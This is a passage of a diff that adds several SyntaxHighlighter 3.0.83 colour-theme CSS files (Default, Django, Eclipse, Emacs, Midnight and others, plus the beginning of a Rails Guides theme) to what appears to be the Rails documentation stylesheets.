+  -moz-border-radius: 0 0 0 0 !important;
+  -webkit-border-radius: 0 0 0 0 !important;
+  background: none !important;
+  border: 0 !important;
+  bottom: auto !important;
+  float: none !important;
+  height: auto !important;
+  left: auto !important;
+  line-height: 1.1em !important;
+  margin: 0 !important;
+  outline: 0 !important;
+  overflow: visible !important;
+  padding: 0 !important;
+  position: static !important;
+  right: auto !important;
+  text-align: left !important;
+  top: auto !important;
+  vertical-align: baseline !important;
+  width: auto !important;
+  box-sizing: content-box !important;
+  font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+  font-weight: normal !important;
+  font-style: normal !important;
+  font-size: 1em !important;
+  min-height: inherit !important;
+  min-height: auto !important;
+}
+
+.syntaxhighlighter {
+  width: 100% !important;
+  margin: 1em 0 1em 0 !important;
+  position: relative !important;
+  overflow: auto !important;
+  font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+  overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+  font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+  font-style: italic !important;
+}
+.syntaxhighlighter .line {
+  white-space: pre !important;
+}
+.syntaxhighlighter table {
+  width: 100% !important;
+}
+.syntaxhighlighter table caption {
+  text-align: left !important;
+  padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+  width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+  position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+  box-sizing: border-box !important;
+  position: absolute !important;
+  left: 0 !important;
+  top: 0 !important;
+  width: 100% !important;
+  height: 100% !important;
+  border: none !important;
+  background: white !important;
+  padding-left: 1em !important;
+  overflow: hidden !important;
+  white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+  text-align: right !important;
+  padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+  padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+  padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+  display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  padding: 0.1em 0.8em 0em 0.8em !important;
+  font-size: 1em !important;
+  position: static !important;
+  width: auto !important;
+  height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+  display: inline !important;
+  margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+  padding: 0 !important;
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+  position: absolute !important;
+  right: 1px !important;
+  top: 1px !important;
+  width: 11px !important;
+  height: 11px !important;
+  font-size: 10px !important;
+  z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+  display: block !important;
+  text-align: center !important;
+  text-decoration: none !important;
+  padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+  display: none !important;
+}
+.syntaxhighlighter.ie {
+  font-size: .9em !important;
+  padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+  line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+  padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+  background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+  color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+  color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+  display: none !important;
+}
+.syntaxhighlighter.printing a {
+  text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+  color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+  color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+  color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+  color: #006699 !important;
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+  color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+  color: black !important;
+}
+
+.syntaxhighlighter {
+  background-color: #1b2426 !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: #1b2426 !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: #1b2426 !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #323e41 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: #b9bdb6 !important;
+}
+.syntaxhighlighter table caption {
+  color: #b9bdb6 !important;
+}
+.syntaxhighlighter .gutter {
+  color: #afafaf !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #435a5f !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #435a5f !important;
+  color: #1b2426 !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #5ba1cf !important;
+  background: black !important;
+  border: 1px solid #435a5f !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #5ba1cf !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: #5ce638 !important;
+}
+.syntaxhighlighter .toolbar {
+  color: white !important;
+  background: #435a5f !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: #e0e8ff !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: #b9bdb6 !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #878a85 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: #5ce638 !important;
+}
+.syntaxhighlighter .keyword {
+  color: #5ba1cf !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #435a5f !important;
+}
+.syntaxhighlighter .variable {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .constants {
+  color: #e0e8ff !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #5ba1cf !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: #e0e8ff !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: white !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: #ffaa3e !important;
+}
doc/guides/stylesheets/syntaxhighlighter/shThemeDefault.css
@@ -0,0 +1,117 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter {
+  background-color: white !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: white !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: white !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #e0e0e0 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: black !important;
+}
+.syntaxhighlighter table caption {
+  color: black !important;
+}
+.syntaxhighlighter .gutter {
+  color: #afafaf !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #6ce26c !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #6ce26c !important;
+  color: white !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: blue !important;
+  background: white !important;
+  border: 1px solid #6ce26c !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: blue !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: red !important;
+}
+.syntaxhighlighter .toolbar {
+  color: white !important;
+  background: #6ce26c !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: black !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: black !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #008200 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: blue !important;
+}
+.syntaxhighlighter .keyword {
+  color: #006699 !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: gray !important;
+}
+.syntaxhighlighter .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #006699 !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: red !important;
+}
+
+.syntaxhighlighter .keyword {
+  font-weight: bold !important;
+}
doc/guides/stylesheets/syntaxhighlighter/shThemeDjango.css
@@ -0,0 +1,120 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter {
+  background-color: #0a2b1d !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: #0a2b1d !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: #0a2b1d !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #233729 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: white !important;
+}
+.syntaxhighlighter table caption {
+  color: #f8f8f8 !important;
+}
+.syntaxhighlighter .gutter {
+  color: #497958 !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #41a83e !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #41a83e !important;
+  color: #0a2b1d !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #96dd3b !important;
+  background: black !important;
+  border: 1px solid #41a83e !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #96dd3b !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: white !important;
+}
+.syntaxhighlighter .toolbar {
+  color: white !important;
+  background: #41a83e !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: #ffe862 !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: #f8f8f8 !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #336442 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: #9df39f !important;
+}
+.syntaxhighlighter .keyword {
+  color: #96dd3b !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #91bb9e !important;
+}
+.syntaxhighlighter .variable {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .value {
+  color: #f7e741 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .constants {
+  color: #e0e8ff !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #96dd3b !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: #eb939a !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: #91bb9e !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: #edef7d !important;
+}
+
+.syntaxhighlighter .comments {
+  font-style: italic !important;
+}
+.syntaxhighlighter .keyword {
+  font-weight: bold !important;
+}
doc/guides/stylesheets/syntaxhighlighter/shThemeEclipse.css
@@ -0,0 +1,128 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter {
+  background-color: white !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: white !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: white !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #c3defe !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: white !important;
+}
+.syntaxhighlighter table caption {
+  color: black !important;
+}
+.syntaxhighlighter .gutter {
+  color: #787878 !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #d4d0c8 !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #d4d0c8 !important;
+  color: white !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #3f5fbf !important;
+  background: white !important;
+  border: 1px solid #d4d0c8 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #3f5fbf !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter .toolbar {
+  color: #a0a0a0 !important;
+  background: #d4d0c8 !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: #a0a0a0 !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: red !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: black !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #3f5fbf !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: #2a00ff !important;
+}
+.syntaxhighlighter .keyword {
+  color: #7f0055 !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #646464 !important;
+}
+.syntaxhighlighter .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #7f0055 !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: red !important;
+}
+
+.syntaxhighlighter .keyword {
+  font-weight: bold !important;
+}
+.syntaxhighlighter .xml .keyword {
+  color: #3f7f7f !important;
+  font-weight: normal !important;
+}
+.syntaxhighlighter .xml .color1, .syntaxhighlighter .xml .color1 a {
+  color: #7f007f !important;
+}
+.syntaxhighlighter .xml .string {
+  font-style: italic !important;
+  color: #2a00ff !important;
+}
doc/guides/stylesheets/syntaxhighlighter/shThemeEmacs.css
@@ -0,0 +1,113 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter {
+  background-color: black !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: black !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: black !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #2a3133 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: white !important;
+}
+.syntaxhighlighter table caption {
+  color: #d3d3d3 !important;
+}
+.syntaxhighlighter .gutter {
+  color: #d3d3d3 !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #990000 !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #990000 !important;
+  color: black !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #ebdb8d !important;
+  background: black !important;
+  border: 1px solid #990000 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #ebdb8d !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: #ff7d27 !important;
+}
+.syntaxhighlighter .toolbar {
+  color: white !important;
+  background: #990000 !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: #9ccff4 !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: #d3d3d3 !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #ff7d27 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: #ff9e7b !important;
+}
+.syntaxhighlighter .keyword {
+  color: aqua !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #aec4de !important;
+}
+.syntaxhighlighter .variable {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+  color: #81cef9 !important;
+}
+.syntaxhighlighter .constants {
+  color: #ff9e7b !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: aqua !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: #ebdb8d !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: #ff7d27 !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: #aec4de !important;
+}
doc/guides/stylesheets/syntaxhighlighter/shThemeFadeToGrey.css
@@ -0,0 +1,117 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter {
+  background-color: #121212 !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: #121212 !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: #121212 !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #2c2c29 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: white !important;
+}
+.syntaxhighlighter table caption {
+  color: white !important;
+}
+.syntaxhighlighter .gutter {
+  color: #afafaf !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #3185b9 !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #3185b9 !important;
+  color: #121212 !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #3185b9 !important;
+  background: black !important;
+  border: 1px solid #3185b9 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #3185b9 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: #d01d33 !important;
+}
+.syntaxhighlighter .toolbar {
+  color: white !important;
+  background: #3185b9 !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: #96daff !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: white !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #696854 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: #e3e658 !important;
+}
+.syntaxhighlighter .keyword {
+  color: #d01d33 !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #435a5f !important;
+}
+.syntaxhighlighter .variable {
+  color: #898989 !important;
+}
+.syntaxhighlighter .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+  color: #aaaaaa !important;
+}
+.syntaxhighlighter .constants {
+  color: #96daff !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #d01d33 !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: #ffc074 !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: #4a8cdb !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: #96daff !important;
+}
+
+.syntaxhighlighter .functions {
+  font-weight: bold !important;
+}
doc/guides/stylesheets/syntaxhighlighter/shThemeMDUltra.css
@@ -0,0 +1,113 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter {
+  background-color: #222222 !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: #222222 !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: #222222 !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #253e5a !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: white !important;
+}
+.syntaxhighlighter table caption {
+  color: lime !important;
+}
+.syntaxhighlighter .gutter {
+  color: #38566f !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #435a5f !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #435a5f !important;
+  color: #222222 !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #428bdd !important;
+  background: black !important;
+  border: 1px solid #435a5f !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #428bdd !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: lime !important;
+}
+.syntaxhighlighter .toolbar {
+  color: #aaaaff !important;
+  background: #435a5f !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: #aaaaff !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: #9ccff4 !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: lime !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #428bdd !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: lime !important;
+}
+.syntaxhighlighter .keyword {
+  color: #aaaaff !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #8aa6c1 !important;
+}
+.syntaxhighlighter .variable {
+  color: aqua !important;
+}
+.syntaxhighlighter .value {
+  color: #f7e741 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ff8000 !important;
+}
+.syntaxhighlighter .constants {
+  color: yellow !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #aaaaff !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: red !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: yellow !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: #ffaa3e !important;
+}
doc/guides/stylesheets/syntaxhighlighter/shThemeMidnight.css
@@ -0,0 +1,113 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter {
+  background-color: #0f192a !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: #0f192a !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: #0f192a !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #253e5a !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: #38566f !important;
+}
+.syntaxhighlighter table caption {
+  color: #d1edff !important;
+}
+.syntaxhighlighter .gutter {
+  color: #afafaf !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #435a5f !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #435a5f !important;
+  color: #0f192a !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #428bdd !important;
+  background: black !important;
+  border: 1px solid #435a5f !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #428bdd !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: #1dc116 !important;
+}
+.syntaxhighlighter .toolbar {
+  color: #d1edff !important;
+  background: #435a5f !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: #d1edff !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: #8aa6c1 !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: #d1edff !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #428bdd !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: #1dc116 !important;
+}
+.syntaxhighlighter .keyword {
+  color: #b43d3d !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #8aa6c1 !important;
+}
+.syntaxhighlighter .variable {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .value {
+  color: #f7e741 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .constants {
+  color: #e0e8ff !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #b43d3d !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: #f8bb00 !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: white !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: #ffaa3e !important;
+}
doc/guides/stylesheets/syntaxhighlighter/shThemeRailsGuides.css
@@ -0,0 +1,116 @@
+/**
+ * Theme by fxn, took shThemeEclipse.css as starting point.
+ */
+.syntaxhighlighter {
+  background-color: #eee !important;
+  font-family: "Anonymous Pro", "Inconsolata", "Menlo", "Consolas", "Bitstream Vera Sans Mono", "Courier New", monospace !important;
+  overflow-y: hidden !important;
+  overflow-x: auto !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: #eee !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: #eee !important;
+}
